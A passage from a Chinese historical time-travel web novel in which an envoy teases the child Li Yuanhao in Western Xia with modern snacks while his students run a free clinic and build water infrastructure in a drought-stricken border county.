大部分人都认为西夏乃是纯粹的外邦人士,其实并不是。如今的西夏王李继迁,乃是夏州节度使李彝兴的孙子,正儿八经被唐朝加封过的,后来在后晋、后汉、后周时期,也都得到了朝廷的认可,大奉朝建立初期,他态度臣服,又是协助军事行动,又是进贡战马之类的,其族兄李继捧更是在几年前直接将大奉朝的夏、绥、银、宥、静五州归还给了朝廷,只为求一个王的封号!要不是李继迁不满,觉得这是自割腿肉,起兵反抗,只怕如今的西夏早没了! 因此,如今的西夏政权,并不算真正意义上的稳定。 有人想打,自然也有人想和,和朝廷并无多大差异。 主战的支持如今的西夏王李继迁,那么主和的自然便推举其族兄李继捧! 两方争权夺利数十年,不足为惧。 因简单读过这一段历史,所以童启也十分清楚如今的西夏内部是个什么模样,按照正常的走向,李继迁没多少日子了,真正需要防备的其实不是他,而是他们今日看到的大王子李德明,以及其儿子——那个历史上著名的狠人李元昊。 这俩人,才是真正颠覆了原本北宋的罪魁祸首人物。 值得防范。 至于什么小王子之类的,那压根就不被记录在历史上,自然掀不起多大的风浪。 简单讲解了一番,苍蝇瞬间顿悟。 童启则带着他一同走出偏殿,前往觅食。 这西夏哪里都好,就是吃的不太行,正如同苍蝇所说的那样,即便是给使团的饭,也皆是掺了糙米的那种,菜也是难吃的紧,一荤一素,味道还不如童启带过来的杂粮饼干。 好不容易找了一壶热水,提回住处,两个人各拿出两桶泡面来,打算补个餐,墙头上却突然冒出一个脑袋来。 “你们在吃什么东西?” 童启两人均被吓了一跳,抬起头,这才发现是个虎头虎脑的男娃娃。 对方整个头顶被剃得干干净净,独留下边缘一圈结成短辫,耳垂上挂着一个圆环,随着说话轻轻的荡漾着。 童启挑了挑眉,心里不由有了个猜测。 “我们在吃泡面,你又是谁,为什么会在这里?” “泡面?那是什么东西?好吃吗?” 那男孩子并未回答,直接徒手从墙上跳了下来,看的人心中一悸。 他毫无防范,大喇喇的走了过来,满脸写着“好奇想吃”几个字,手一伸,直接说道。 “我乃大王孙李元昊!你的东西归我了。还不交出来!” 童启俯视着这小娃娃(总算有个能俯视的身高了),一把按住泡面的碗,问道。 “你知道我是谁吗?就敢跟我要东西?” 李元昊一脸蛮横,“我管你是谁,难不成还能有我尊贵?” 童启缓缓扯出个笑容来,恶魔低语道,“上一个抢我东西的,如今还躺在床上,重伤未愈呢,你要不回去问问你小叔,再来决定?” 李元昊愣了愣,顿时瞪大了双眼。 “你……你就是那个射伤了我小叔的人?不可能吧,怎么会这么矮?!” 童启:…… 第75章 第75章开启义诊 都说打人不打脸,骂人不揭短。 因着这句话,童启和苍蝇直接吃完了整桶泡面,连汤都给喝的一干二净,半点也没给李元昊留下! “啊啊啊我错了,我以后再也不说你矮了,分我一口,分我一口!” 李元昊巴巴站在一旁,紧紧的拽着童启的袖子,哀求道。 可直到对方吃完,连碗底都给倒了过来, 也没有任何心软的意思,不由哇的一声哭了出来。 童启心满意足,打了个饱饱的嗝。 他最喜欢欺负熊孩子了,尤其是这种历史上声名赫赫,现在却还没有发育起来的人物,简直有种替天行道的爽感! 抹了一把嘴,将这熊孩子推得远了一些。 童启一边擦着手,一边继续吓唬他。 “再哭,可就要把人给招过来了啊,你应该是瞒着父亲偷溜出来的吧,别回头东西没吃上,还得白挨一顿打!” 李元昊的声音顿时小了些,一脸控诉道,“呜呜呜你欺负我,我要告诉我爷爷去,让他杀了你。” “好哇,尽管去,看你爷爷敢不敢,不过是多一箭的事情,正好我也让人评评理,我们大奉朝使团千里迢迢来此,身为东道主,你不仅不请我们吃好东西,还敲诈威胁起来了,这算是哪门子的道理?嗯?” 他挑挑眉,拿起一旁的树枝挥了挥,破空声引得对方连忙忌惮的后退两步。 别人若说会打他,李元昊肯定是不信的,可童启说打他,莫名的,李元昊觉得也不是没可能的事情。 毕竟这家伙就像是不要命一般,连一向受宠的小叔都敢射!且妥妥是朝着心口而去的,看诊的医师都亲口认证了,若不是小叔当时躲得快,只怕顷刻间就会毙命。 自己才几岁?最好还是不要去招惹这种活阎王的好。 李元昊咬了咬牙,呸了一声,气呼呼的转身离开。 然而刚走出侧殿没几步,又猛然停了下来。 越想越气。 不对啊,凭什么他要退让,就算那童启嚣张跋扈,武艺高强,可这里是西夏啊!难不成他们一群人,还奈何不了一个小矮子不成? 尤其那泡面,闻起来味道那么香,若吃进嘴里,简直无法想象会有多美味,这次错过,他肯定会心心念念后悔一辈子的,绝对不能就这么算了! 难不成就没有什么能让那小子乖乖掏出来送给他吃的方法吗? 李元昊用力的思考着,突然,他想到什么,眼睛霎时一亮,忙挥了挥手,将一旁的侍卫叫过来,低语几句。 对方听完,满脸怀疑之色,简直疑惑是不是自己的耳朵幻听了。 但碍于小王孙的命令,也只得硬着头皮,前往做事。 且说另一边,被留在环县的四个学生也并没有闲着,刚目送完使团离开边境,便被许明奕带回了家。 许家家大业大,自是不缺住的房间,再加上本身就是当地出了名的马贩子,因此住的地方也格外敞亮。不同于伊川县的精致与端庄,许家更像是那种粗狂的北部乡宦之家,只前院,便几乎有半个华夏书院的操场那般大。 四个孩子一进入,便齐齐发出了惊叹的声音。 大大的马厩,一排排各色小马驹,健硕而可爱,看的人眼花缭乱,心动不已。 谁不爱马? 作为大奉朝如今最顶级的代步工具,每个男孩子的心愿,便是拥有属于自己的一匹小马驹。 而能够养得起马的人家,更是富贵的象征。 柳三变从小便和父亲闹着想要一匹,可惜有价无市,从未遇到过合适的,今日猛地见到如此多,顿时双眼发亮起来。 就连旁边的王小花和沈亦等人也是一双手直接黏在了上面,压根走不动道来。 君子六艺,其中包含的一类便是御马车,只可惜华夏书院住在山上,地方有限,所以并未开设这样的课程,这也一直是不少学生深感遗憾的地方。 谢君仪倒是个见多识广的,看了看马蹄和牙齿后,便出声问道,“你们家这马不错,多少钱一匹,卖吗?” 见到几个人真心喜欢,许明奕笑着摆了摆手道。 “若是喜欢,回头我各自送你们一匹,这些不行,这些都是已经订好了的,准备送往西夏去的,卖不了。” “送往西夏?” 头一次知道他们大奉朝和西夏还有生意上的往来,沈亦不由追问了几句,这才知晓原来他们每年和对方都是有榷场交易的,且成交量还不小。 “所以,那西夏人为什么还屡次犯边劫掠呢?他们又不缺钱,又不缺物的。” “谁说他们不缺物?” 许明奕将一行人带到了书房内,各自上了杯茶,这才细细为其讲解起来朝堂对西夏贸易的各种限制。 原来,虽明面上两国说着正常贸易,可真正西夏人缺的东西,却是一概不允许售卖的,例如盐铁之物,粮食、布匹之类,那都是少之又少,价格也没得选。 “若不是一年只开那么一次,光是这榷场的生意便不知能养活多少人?有的商人讲良心,价格只翻了一倍也卖,有的却奸猾,往往要叫出好几倍才肯卖,态度也极为恶劣,这自然得罪了不少西夏的权贵。他们又不是冤大头,明摆着坑人的钱,何必要去掏,直接抢,反而更省事一些。” 这也就造成了离西夏最近的环县,成为了重灾区。 屡禁不止,却又无可奈何。 其根本原因,还是在于供需不一致。 沈亦问道,“那这种事情,朝堂就不管吗?为什么不干脆设置一个特殊机构,去管理此事呢?” “谁来管?这种明摆着水深且复杂的事情,背后肯定有不少世家在暗中支持的!”谢君仪插嘴道,冷哼一声,“他们哪里管什么边境稳不稳,只要能赚到钱就行,反正拍拍屁股就离开了,剩下一大堆烂摊子,还是得百姓们自己收拾。” 刚入环县的时候,他便注意到了,这个地方,也有谢家的人。 那老东西向来是无孔不入,若说没猫腻,谁信? 几个人齐齐叹了口气,柳三变忙打圆场道。 “算了,朝廷大事,咱们又管不了,还是先商量一下,怎么完成山长发布的任务,才是正事。” 提起这个,许明奕连忙精神起来。 “对对对,还是这个比较关键,我头一次接收到任务,实在是不知如何下手。” 山长要他们统计近三年内,环县所有被西夏人打杀、劫掠过的百姓及其家庭情况。 可这人数众多,他们要如何查起呢? 总不能喊一嗓子,令大家自发前来登记吧? “之前黄河决堤,收容难民的时候,我曾见到吴韧师兄他们做过这些,或许我们也可以仿照那个来。”王小花提议道。 “可是那个时候咱们书院里有联合其他县衙发放粮食啊,如今又没有什么好处可领,人家百姓凭什么听你的?” 沈亦连忙质疑道。 谢君仪摸了摸下巴,思考出声,“不然,我们也发东西?反正咱们几个家里都有钱,不如凑一凑,好歹也能一人发一个鸡蛋之类的。” “可那不就相当于作弊吗?山长说了,让我们自己想办法统计。县衙里我已经确认过了,吴县令从未统计过这些,因此并无参照物,若你发东西,说不定会有那不符合条件的,也来编谎,咱们又得如何查证呢?” 事情顿时陷入了僵局之中。 几小只皱眉思考着,恰巧许家祖母听闻了自家孙子带着同窗回来做客,喜不自胜,亲自令人下了厨,做了一顿好餐饭,叫他们前往享用。 几个人只得转换战场,边吃边想。 席间,王小花注意到许家祖母咳嗽不止,疑似其有咳疾,于是从自己的包袱里掏出了一瓶川贝枇杷膏来,递了过去。 “这乃是我们山长的方子,专治咳疾用的,书院里有先生都因此吃好了,你不如给你祖母也试一试。” 许明奕半信半疑的接过,问道。 “你会医?” 旁边的柳三变忍不住笑出声来,“别看王姐姐年纪不大,可是隔壁医科有名的得意门生呢!不仅得山长亲传,还屡次三番被邢御医和张小娘子齐齐称赞过!说是有医学天赋!” 许明奕 听了,顿时眼睛一亮。 “对啊,医!我想到聚集起百姓们自由登记的方法了!” 整个环县最缺的是什么?毫无疑问便是大夫啊! 尤其这里挨着边境,极其容易受伤,基本上大半的居民身上都是带有暗疾的,可赤脚大夫嫌弃此处贫穷,很少踏足,大家只能忍了又忍,治不好便索性等死。 若是他们能开个义诊,免费为百姓们看病,以此交换人名登记,想来一定是可以的。 “但我只学了半年,会看一些基本的病症,以及简单的外伤处理罢了,更多的,便不会了,能行吗?”王小花犹豫道。 柳三变等人却极其乐观,忙附和着。 “那有什么不行?你不知道,这世上多的是拿着符水就敢称大夫的人,更何况你这货真价实,真有些本事的呢?大不了你就只治疗那些基础病症,剩下的别管,反正你不治他们也是等死,大不了折腾折腾,说不定还有一线生机,若真的棘手,就写信去问先生,邢御医他们肯定会帮忙解答的!” “对啊对啊。” 在几个人的挑唆下,王小花深深的心动了,正好她这学医的也需要大量的病症积累,作为参考。 于是,他们一拍即合,几日后,华夏书院义诊小实验点横空出炉。 谢君仪负责提供药材、拉拢百姓,柳三变则负责记录,剩下的两个人随时核实情况,整理归档。 斗大的横幅直接拉开在县衙的旁边,上写着:华夏书院义诊处。 免费治病,不收钱。 刚开始,还无人敢来,毕竟王小花作为主治大夫,一看年纪便小的很,且又是个女娃娃,谁知道靠不靠谱呢?万一治死了,那可是一条命啊! 直到一位妇人实在是没钱,抱着高烧了好几日的儿子求到了这里。 反正死马当做活马医,与其眼睁睁见着儿子死去,不如冒险一次。 王小花戴着自制的“口罩”,里里外外检查了一遍,确定只是普通风寒后,这才拿出旁边的酒精来,替其擦身,又开了道风寒方子,直接灌下去,不到半个时辰,那孩子便出了汗,情况转悲为喜。 “母亲。” 对方软糯糯的声音称呼道,那妇人当场便抱着儿子跪下,感恩不断,吓得王小花连忙将其扶了起来。 仿佛就此开了个头,之后,义诊点上聚集的百姓们便开始渐渐多了起来。 尤其是风寒类的人群,那更是乌泱泱全部跑了出来,逼得旁边衙门不得不派着官差来此,维护治安,这才勉强得到几分转机。 或许是头一次面对“真正的”百姓们,又或许是环县人民们口中的故事实在是过于悲伤。 几日下来,柳三变和王小花还好,可谢君仪和沈亦的精神却得到了重创,他们内心的震撼无法用言语去表述清楚,尤其是当见到实际生活中的边境人民,有多么忍辱偷生后,那份压抑许久的愤怒,更是久久无法被排遣而出。 “我们一家七口,全部是死在西夏人的手中。刚开始只是我父母亲,他们在庙儿沟取水,正好迎面与劫掠的西夏军撞上,双双死在马蹄之下,后来便是我兄嫂二人,嫂子因貌美被强抢了去,哥哥想着要去营救,却被活生生打死,我肩膀上挨了一刀,勉强躲过。可没想到去年,西夏小王子又带着人进城,一把大火,直接将我们这一片都给烧了个干净,弟弟妹妹们因着年纪小没有避开,纷纷死在了大火中,唯独我烧坏了脸和腿,却留下一命,一直苟延残喘至此。” 破旧的黄土房子内,一个半喇身子皆被烧成疤痕的男人正瘫痪在榻上,缓缓讲述着,眼神平静无波。 旁边放着的破碗中,黄橙橙的泥沙慢慢沉淀下来,便形成了他日夜喝的水。 谢君仪沉默的注视着,不由开始怀疑起自己这么多些年过的锦衣玉食的日子,是否算是一种浪费。 比起那家主的偏心,大夫人的刁难,命运似乎对他已经足够好的了,若是随便投胎给环县的任意一个人,想必他早就活不下去了,更遑论读书。 这些日子,他和沈亦等人统计着环县的受灾人群与家庭。 简直如同见到了民生百态一般,大大开了眼界。 而对于环县的百姓们,更是既怜悯又佩服。 怜悯的是同为大奉朝的子民,他们本不该经历这些!佩服的则是,如此多的伤痛竟没有打倒任何一个人,他们就像是源源不断向上生长的杂草一般,每日竭力的过着这些生活,毫无怨言。 有什么可以帮到他们的呢? 哪怕只是微小的帮助,也行啊。 思及起伊川县如今的繁华,几个孩子不由回忆起山长曾经的做法来,顿时心念一动。 第76章 第76章捷径选择 环县的贫穷,实际上并不只是源于西夏的劫掠,更多的,还包括地主垄断、缺水缺粮,没有支柱型产业等问题…… 而其中最严峻的,便是缺水。 “你说此处多长时间下一回雨来着?”沈亦难以置信的调研道。 本地人老实巴交的回答,“条件好的话,估摸着两个月一次,如果条件不好,四个月也没有一场雨的。” 谢君仪等人:…… 难怪他们到达这里已经快好几日了,都没见到半点水花,客栈里也很少提供沐浴等服务。 原来是压根就没有水啊! 怪不得每日起床时口干舌燥,空气中像是被抽干了所有水分一般,连呼吸都是浓浓的沙土味道。 不同于中原地带的降雨频繁,适合农作,整个环县一年降水量加起来,也就不到三四十天!取水更是麻烦,只有一处水源地,位于偏僻的庙儿沟处,沟内泉水露头点较多,适合饮用,可距离县城却几乎有数十里之远,光是走都得走上个大半天!唯二的两口井则出水量少的惊人,且井水又苦又涩,根本难以饮用,只能用来浇地。 靠着这些,便想要养活整个县城里的上万人?这简直就是不可思议的事情。 谢君仪看着手中的数据,咂舌不已,“就这,因为当地不少乡绅地主从事着畜牧业,需要种植大片的牧草,所以每逢一三五日,都得断水好几天,用作浇地,城里的百姓们若是想要取水,只能提着桶去地头上去求,别说种庄稼了,就连饮用洗漱都是个问题。” “那么,我们第一个需要解决的,便是百姓们的饮水问题。” 可怎么解决这个问题呢?总不能让他们凭空变出来水吧? 沈亦摸着下巴陷入沉思中。 一旁的王小花提议道,“不如试一试将庙儿沟内的水引出来,到达县城里呢?就像是我们书院里的自来水管一般!” 对啊,自来水管! 几个人齐齐眼睛一亮,许明奕则是一脸的惊愕。 “什么自来水管?你们若真的能解决取水难的问题,别说是与乡绅大户们约出来聊天谈话了,就是县令大人我也能请父亲出头,邀出来,一同商讨此事。” 环县缺水,已然是几百年的事情了,不知换了多少县令大人都没解决,如今吴县令在任上,还算是好说话的,若他们真的能找到方法,那简直就是凭空送政绩。 怎么可能不支持? “方法有倒是有,可是做起来却或许有些麻烦。”柳三变努力回忆着,自己似乎在哪个师兄的策论文章中,曾经见到过自来水管的制作方法。 可书院内的皆是铁质的管道,环县应该不大好做的出来? “即便这个无法成功,我们还可以做水车啊,”沈亦突然想起来,“听说毕昇先生已经研制出了龙骨水车,不仅材料简单,还方便灌溉,节水量也非常厉害!” “对对对,而且我觉得此处不一定是没有水,或许是挖掘的地点没找对呢?我写封信去问问王世昌,他在藏书阁内待得最久,没准能够看到勘测打井相关的书 籍,给我们一点参考呢?” 几个学生七嘴八舌,头一次将所见所□□用到实际生活中,个个皆兴奋不已。 许明奕也相当配合,当晚便拿着计划书去寻了自己的父亲,讲述了他们要做的事情。 许父在当地也算是一个豪绅,虽也怀疑几个小娃娃到底能不能成事,但乐的自家孩子与这些身份的人结交。 且想到那童山长身上种种的神奇之处,没准教出来的学生,也相当厉害呢? 于是他深夜跑了一趟县衙,果然得到了吴县令的鼎力支持。 这华夏书院可是三殿下在支撑,没准这些学生们未来也是他的同僚之一,犯不着使绊子,且不管能不能做成,对他来说都并无什么影响。 成了,那是岁在千秋的免费政绩,不成,大不了就是折腾一通,反正又不是损失的他的面子。 因此环县乡绅们的聚集,远比童启在河南府时的两次讲解要容易的多,且有着许家牵头做担保,很快便筹集了数百两银子,用作改造当地的饮水问题。 他们也算是死马当作活马医了,但凡能抓住一根稻草,便相信的很。 谁都希望家乡能够发展起来,不再贫穷,提供不了太多帮助,但配合总是能够配合的。 因此谢君仪等人这一次的行动几乎是畅通无阻,直接收到了全票的赞同。 几个孩子们也将全部的心力投入了进去,来报答这种信任,完完全全把环县当成了自己的实践基地般,兴致勃勃改造了起来。 不会的就去信,询问书院里的师兄师姐和老师们。 谢君仪还特意为此重启了他们谢家的专属传信驿站,一来一回,只需要两日不到。 源源不断的信件飞回华夏书院,接到信的吴韧和汪启元等人也是震惊不已。 还未开始科举,他们竟然就敢治一县之地了?哪儿来的胆子? 听到是山长的任务,这才多少放下了点心,纷纷献策道。 “既然是山长的任务,那你们雇佣工匠的时候可以提前标明了,优先录取那些被西夏劫掠损失的人家,然后让他们帮忙登记和提供信息,再利用互相察举的方式,去核实真假。我特意去查看了书院里的自来水管道,铁质的你们肯定是不可能允许被制作的,但是陶制的却可以试试。听闻环县多泥沙,烧制起来,取材应该十分方便,或许还可以将此发展成当地的支柱型产业,顺便附带上一张之前山长带着我们烧制琉璃时,使用的高温炉制作样板,你们可以在此基础上,研究制陶工艺。”——吴韧。 “龙骨水车的事我已经询问了毕昇先生,他讲述大部分的水车其实都能够起到调节水源的情况,不过如果你们想要用作灌溉,其实建议可以使用滴点灌溉的方式,之前山长提起过一嘴,后来毕昇先生研究发现,这种方法不仅能够起到灌溉植物的作用,还大大减少了水源的浪费,十分适合缺水地区,昼夜温差大的地方,且减少一定的水源浪费,附带一张写满简易滴灌制作方法的工序二三条。”——汪启元。 “当地既然有泉水,那说明地下水资源一定是有的,可能是开采的人不专业,所以没有挖到,我从藏书阁二楼找到了两本写有挖井相关知识的书籍,名为《水经注》、《河渠书》,其中涉及到的部分我已经抄写了出来,发给你们以作参考。”——王世昌。 “听闻环县畜牧业十分兴盛,那想必也可以尝试一下其他相关的产业,例如羊奶、牛奶之类制作方法。山长曾给我们做过奶茶用以品尝,若是你们能够想办法将其包装起来,卖出去,我觉得未尝不可作为当地的特色,大力发展。而且温差大的地方通常适合瓜果种植,我将书院里盛产的部分植物种子给你们包了一包,一同送过去,可以都试一试。若能种出,不仅能用来酿酒,还可以制作成果脯之类的,前往京都售卖。”——杨舟万。 …… 花式的脑洞与回复几乎淹没了整个环县的驿站。 什么叫做背后靠着一个书院啊? 或许就是这种一封信,便能够引起整个书院所有师生上下群策群力,不遗余力的出招吧? 一个人的想法固然有限,可当一群人集结起来,那力量,便是不可估量。 在谢君仪及沈亦的推动下,小团队按照师兄们的观点一个个尝试着,高温炉顺利被盖了起来,工人们也得到了大范围的招聘与就业。 几日下来,环县的风气便明显能够看出来天翻地覆的改变。 人们不在麻木了,眼中闪闪发光的是对未来的憧憬与期待。 “出水了,真的出水了!” 许明奕照着书籍上所写的内容,找到了一处适合打井的地方,挖了不足半日,没想到竟然就真的出了水! 什么叫做知识的力量?这便是了。 且那井水清甜可口,半点没有苦涩的味道,直接令整个环县的百姓们震惊不已。 对这群孩子们也更加信服起来,基本上走到哪里都有一大批人跟随着。 而他们口中总是念叨的华夏书院,也越传越狠,几乎成为了点石成金的神秘之处。 搞得好几百年之后,环县的子弟们都仍旧以能够考入华夏书院为荣。 但凡能中一个,便是全县的张灯结彩,鞭炮齐鸣,比北大清华还要受欢迎!学生的父母更是满大街敲锣打鼓,庆祝不已。 四个男生风风火火搞着建设,统计着伤亡人员,而王小花则继续进行着她的义诊活动。 环县内部,需要治疗的人员远比她想象的要多得多,每日天还未明,摊位前便有人排着队,等待看诊,到了日落时分,队伍仍旧看不到尽头。大部分的病症都是小毛病,或者长久拖延下来的暗疾,几服药灌下去便好了大半,若碰到棘手的疑难杂症,她也会学着谢君仪等人,写信给邢御医和张小娘子,远程摇人。 百姓们别无所有,想报答几分,便拿着自家少有的瓜果往几个孩子们怀里塞。 几乎不用买菜,每日只出去走一圈,四个人便能够收获一大堆。 拒也拒不了。 高温日晒,天天奔波着,没几日,几个孩子们便晒黑了好几个度,与原本的模样大相径庭。 搞得继本叔匆忙到达的时候,都险些没有认出人来。 那将长衫下摆笼统着塞进裤腰带里,蹲在田间查看灌溉的,你跟我说是谢家子? 那黑的如同黑炭般,满头大汗与工人们挤在一处查看烧陶的,竟然是小侯爷沈亦? 那风风火火,一嗓子能够喊得人吓两跳的居然是王小花王姑娘? 那活像是半个月没洗澡,蹲在一旁咂摸着诗词文章,哀叹民生多艰的,合着竟是学前班的柳三变? 有没有搞错,这是经历了什么? 难不成是遇到什么抢劫刁难了吗?怎么个个沦落到如此一副模样,名家风度呢?文人士气呢?你们让我回头怎么跟侯爷等人交代啊! 因着年纪最小,连腿都倒腾不过来,所以柳三变被赶去做了最简单的登记工作,可是他却不满足只是做这些。他想清楚了,当日山长一首词震惊天下,他怎么着也得为了这环县的艰难赋诗一首,来缅怀百姓的苦痛才行,这样才能够引得人感叹,记录下他们此行的所作所为,届时名声有了,也顺便宣传了一下环县的风貌。 双赢啊! 他咬着牙绞尽脑汁了几日,总算憋出了一首,自认还不错,直接发往京都投送到报纸上,果然得到了录用。 一听写词的人才八岁,且出自于华夏书院,不少人传抄不已,皆叹服。 尤其是这词中对于环县十室九空的贫穷惨状描写,更是惊呆了不少人的眼睛。 柳三变也因此小小的出了一下名。 这里顺风顺水超高速做着基建工作,而另一边,童启的两封信也终于顺利到达了柏盛青与三皇子的手中。 柏老长松一口气,见那信上逻辑言语清晰,丝毫没有慌乱之意,且交代的事务更是井井有条,这才终于放下了悬着的心。 因着营救曹家的事情,他欠了童启一个大大的人情。 所以见到对方要求他迅速前往书院任职,并帮助潘阆先生管理华夏书院事务,负责二年级的乡试准备一事,便即刻起身,前往了华夏书院。 且不说大家听闻柏老入职华夏有多么惊诧,只说走马上任第二天,柏盛青便毫不藏私,给几个学生们上了一节别开生面的官场认知课程。 所讲的内容,更是大大震撼了每个学生的心。 “你们需知晓一件事,读书并不是为了科举,而是为了做官。科举的路只有一条,可达成做官目的的方法,却有很多。” 在秦朝时,想要做官需要用军功去换,要不就是皇帝直接征召任用;汉朝则是察举制,由当地的长官在辖区进行考核推荐,选取人才;唐朝后,虽科举产生,但依旧是门荫入仕居多,而有才华名声赫赫的人则要么向达官贵人展示自己的文采,要么隐居南山,装作神神秘秘,借名气吸引皇帝的注意。不论哪一种,大家为的都是一展抱负,得到任用罢了,而不是一味的读书,去卷所谓的四书五经。 放着明显的捷径不去使用,那是庸才。 就连现代也有好多并不是纯靠着高考进入清华北大的, 各类减分增分项目,层出不穷,可为什么知道的人少?因为他们没有获取信息的渠道,而大部分知道的都心照不宣,选择了隐瞒。 柏盛青便是这个形同于将他们眼前遮挡的雾障,拨开的人。 他详细给几人讲述了一下当今朝堂里不依靠科举,纯粹是凭借着出身和举荐,当上一品大员的例子,又讲述了一下真正通过科举出来的官员,整体升迁的流程。 直接将几个学生惊得嘴都合不拢,只感觉整个认知都被完全颠覆了。 尤其是常仕进和杨舟万。 两个人在二年级一向都是常年吊车尾,即便拼了命的去学习,去考试,想要获取一个好成绩,可天赋上限就在那里摆着。 怎么争,也是争不过像郭胜开、吴韧这样的人的。 这猛不丁告诉他们,实际上并不用执拗一条路,还有其他的捷径可走,难免让他们心中震荡不已。 柏老拿着几个人院试的成绩,仔细分析着他们明年乡试的可能性。 “其实你们每个人对自己的才学大概心里也是有数的,虽有着知府大人故意刁难的原因,可成绩排名总归不会差出太远的距离。有的人,十岁便能考中秀才,可年近半百,也难以企及举人之列,院试与乡试隔得不是一星半点的距离,如果在院试上就已经排在末尾,那么乡试几乎不必再去思考,大概率是难以中的。” 这话虽难听,但却真实。 因为院试不过是童生们的小打小闹,当地学政出卷子罢了,可乡试,却是中央特派官员,所有历任的秀才皆可参加。 不论是难度还是数量都翻了好几倍。 “所以我并不建议大家全部死杠在科举之路。你们的山长曾告诉我,三皇子殿下多次向他索要过举荐的人员名单,只要一句话,便可以推举做官,这也算是一种上升渠道。但他最多只允许一个人去,你们可以思考一下自己的未来,如果不想参与明年的乡试,或者觉得明年的乡试暂时无法得中的,我建议可以直接出仕,历练几年,届时若再想科举,也并不迟。” 当官要的可不仅仅是会四书五经的人,而背熟了四书五经,也不意味着能够当好官。 他能够看出来,童启和他的想法是一致的,因此并没有刻意只教授学生们读书,而是各种的知识都传授一些。 不拘泥于每个人的天赋与发展。 所以出仕,也未必不是一条好的道路。 听完这番话,不少人皆心动不已,尤其是常仕进和杨舟万,更是陷入了浓浓的思考之中。 其实杨舟万早就不想继续往上考了,越往上,他便越能够感受到自己的瓶颈,上一次的榜尾,已经是万幸。 有时候你不得不承认人和人之间是有差距的。 汪启元和吴韧读两遍便能够背的下来的东西,他往往要靠着默读数十几遍,才能够勉强记住。 这并不是说明他蠢,只能说明,他不擅长应试。 若能够越过这些弯弯绕绕,直接当官,于他,自然是一种飞跃。至于升迁或许会差于科举出身的人,那都是小事。 真正阻拦他出仕的,并不是面子,而是对同窗与山长们依依不舍的心。 第77章 第77章王孙求学 浑然不知自己手底下的学生们正忙着基建与思考未来。 此刻,身在西夏的童启,正沉迷于逗小孩的乐趣之中。 别看那李元昊年纪小,可性格却是个不服输的,想要什么,拼了命哪怕丢尽了脸,也非要得到。眼见着泡面没有吃成,便暗地里教唆了门口的侍卫,想办法从厨房里将童启他们没来得及洗的碗给偷了出来,如同做贼一般的蹲在角落里,狠狠舔了一口。 旁边的侍卫:…… 他看着自家王孙没出息的样子,欲言又止。 可李元昊却浑然不觉。 他砸吧了砸吧嘴巴,并没有尝出多少味道来,可即便如此,那丰富的调料,依旧一下子紧紧抓住了他的心。 西夏少有美食,连食材都短缺的地方,每日吃都吃不饱,更别说去研究怎么做才能好吃了?即便李元昊是王孙,也不例外,他自小尝到最多的便是烤肉,然后就是各种粗粮做成的窝窝,不说喇嗓子,嘴里简直能淡出鸟来。 这童启什么来头,竟然身上还藏着这种好东西? 有一便有二,尝到了甜头后,李元昊干脆早起晚归,守在童启住的房间门口,一到吃饭的点便装作偶遇,不请自来,想办法蹭吃的。 “我们来比试射箭吧!谁赢了,便能够获得对方的吃食,如何?” 李元昊提议道,一脸的紧张,生怕被拒绝。 童启挑了挑眉,看了眼自己瘦弱的胳膊,再瞄一眼对方那浑身如同小牛犊一般的“腱子肉”,索性闲着也是闲着,便顺嘴答应道。 “好哇。” 李元昊顿时一喜,然后,便带着对方光明正大到了练武场,毫无遮拦的令童启将整个西夏的军营训练方式以及基本布局全看了个遍。 至于最后的结果嘛,自然是童启轻松碾压六岁的李元昊,成功获得胜利。 目睹一切的苍蝇:…… 比完赛,童启贱嗖嗖的从包袱里拿出两个小面包来,顶着对方垂涎的目光,一个递给了旁边的苍蝇,一个光明正大塞进了自己的口中。 可怜旁边忙活了大半日,连口吃的也没争取到的小王孙,口水都快馋出来了,又只能重新咽了下去。 他强行将眼泪憋回去,不甘心的继续挑衅着。 “我,我不服,你比我年纪大,力气肯定也比我强,有本事,我们比,比文如何?我已经能将整本《百家姓》和《诗经》倒背如流了,你会吗?咱们挑战谁能一口气背完,用时最少的人,晚上就能获得对方的吃食!” 旁边的苍蝇忍不住扶额避开了视线。 童启强忍住笑容,点点头,欣然应允。 然后他便陪着李元昊参观完了西夏大王子的书房,顺带着偷瞄到了一系列和谈赔偿的条件以及正在调整修建中的榷场建设图。 再次拿下了冠军。 一连几日,李元昊一场没赢。 别说分得童启一口吃的了,自己的午餐晚餐倒是输得一干二净,每日像是跑过来看对方吃播似的,巴巴看完,又巴巴想新的比赛方式,没多久,就肉眼可见的瘦了一整圈。 李元昊心里简直快郁闷死了。 这人怎么那么多好吃的啊?而且个个看起来都那么香! 连败好几场,他终于忍不住哭了起来,整个人瘫坐在地面上一脸委屈。 “呜呜呜,我不玩了,你怎么什么都会啊?欺负小孩子,我再也不跟你玩了!” 旁边守门的西夏侍卫们看着自家王孙哭的如此可怜,个个义愤填膺的看向了他。 童启也有些尴尬,毕竟在别人家欺负别人家的小孩子,太过分了,似乎也不太好? 他看在连续几日都拿到了有用消息的份上,直接将兜里的巧克力掏出,拨开包装,一把塞进了对方的口中,成功堵住了这絮絮叨叨的哭声。 李元昊一愣,带着鼻涕泡的嘴巴本能的嚼了两下,尝到味道后,顿时双眼一亮。 “唔唔,这是什么,甜甜的苦苦的好好吃啊。” “巧克力,能够让人心情变好的东西。” “巧克力?没吃过,你那里还有吗?我有钱,可以跟你换!”说着,他直接从床底下拉出自己的宝石箱子,红色的蓝色的鸽子蛋般大小的宝石,险些闪瞎了童启的眼睛。 头一回见到用宝石换巧克力的,他本想叹一句豪奢,可一想到或许这些东西也有可能是从他们大奉朝的地界上抢过来的,便顿时闭上了嘴巴。 他低头查看了一下自己的粮食储备,摇了摇脑袋。 “不行,我也剩的不多了,只够我自己吃的,回头吧,等我回书院补充一些,再卖给你。” 书院? 李元昊顿时泄气不已。 他这辈子没什么爱 好,就是喜欢吃吃喝喝,口欲最大,偏偏整个党项族没几个会做饭的,仅有的做菜方子还是从他们大奉朝抢过来的,再加上缺少各种的食材和香料,做出来别提有多难吃了。 若没尝过也就算了,可尝过之后,这追求美食的本能便如同心口里钻进了一只毛毛虫般,每日拱的他忍不住全身发痒。只恨不得趴在童启的门口,跟他一起回大奉朝去。 西夏大王子自然注意到了自家儿子的奇怪动作,但他也并未阻止。 不过是个文人罢了,而且又不参与使团决策,能掀起多大的乱子呢? 整个王宫里少有孩童,元昊更是从未碰到过玩伴,就依他吧。 反正玩个几天,快乐一番,也就罢了。 